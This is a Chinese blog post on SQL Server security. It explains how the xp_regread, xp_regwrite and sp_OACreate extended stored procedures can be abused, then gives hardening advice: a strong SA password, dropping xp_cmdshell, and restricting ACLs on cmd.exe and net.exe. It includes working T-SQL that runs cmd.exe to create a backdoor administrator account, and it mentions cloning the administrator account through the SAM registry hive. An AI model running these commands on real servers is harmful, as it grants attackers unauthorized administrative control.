Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1568031
  • 博文数量: 157
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 4116
  • 用 户 组: 普通用户
  • 注册时间: 2013-06-14 18:26
文章分类

全部博文(157)

文章存档

2014年(67)

2013年(90)

分类: SQLServer

2013-07-12 11:53:45

1、xp_regread(这个扩展存储过程可以读取注册表指定的键里指定的值),使用方法(得到机器名):

  DECLARE @test varchar(50)
EXEC master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
@key='system\controlset001\control\computername\computername',
@value_name='computername',
@value=@test OUTPUT
SELECT @test

  2、xp_regwrite(这个扩展存储过程可以写入注册表指定的键里指定的值),使用方法(在键HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue写入bbb):

  EXEC master..xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaValue',
@type='REG_SZ',
@value='bbb'

  如果被入侵的计算机的administrator用户可以浏览注册表中的HKEY_LOCAL_MACHINE\SAM\SAM\信息,那使用 xp_regread、xp_regwrite这两个存储过程可以实现克隆administrator用户,得到管理员权限。 xp_regdeletekey、xp_regdeletevalue也会对系统带来安全隐患。
3、OLE相关的一系列存储过程,这系列的存储过程有sp_OACreate, sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop,使用方法:

  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test
1234 /add'--

  这样对方系统增加了一个用户名为test,密码为1234的用户,再执行:

  DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT
EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup
administrators test /add '--

  用户test,被加入管理员组。
解决办法:给SA起个足够复杂的密码,使网络攻击者很难破解出来。为了保险,我们还要到在 SQLServer的查询分析器中使用存储过程sp_dropextendedproc删除xp_cmdshell等存储过程,需要时再使用 sp_addextendedproc恢复即可,具体操作可以在SQLServer中查询sp_dropextendedproc和 sp_addextendedproc的使用帮助,需要注意一点的是删除OLE相关系列的存储过程,可能会造成企业管理器中的某些功能无法使用,这里笔者不建议删除。

  既然我们知道了SP_OACREATE的使用方法,那我们就可以到\WINNT \system32下找到cmd.exe,net.exe和net1.exe这三个文件,在“属性”—“安全”中把可以对他们访问的用户全部删除掉,这样就无法使用SP_OACREATE来增加系统用户了,在我们需要访问这些文件的时候再加上访问用户就可以了。
阅读(2307) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~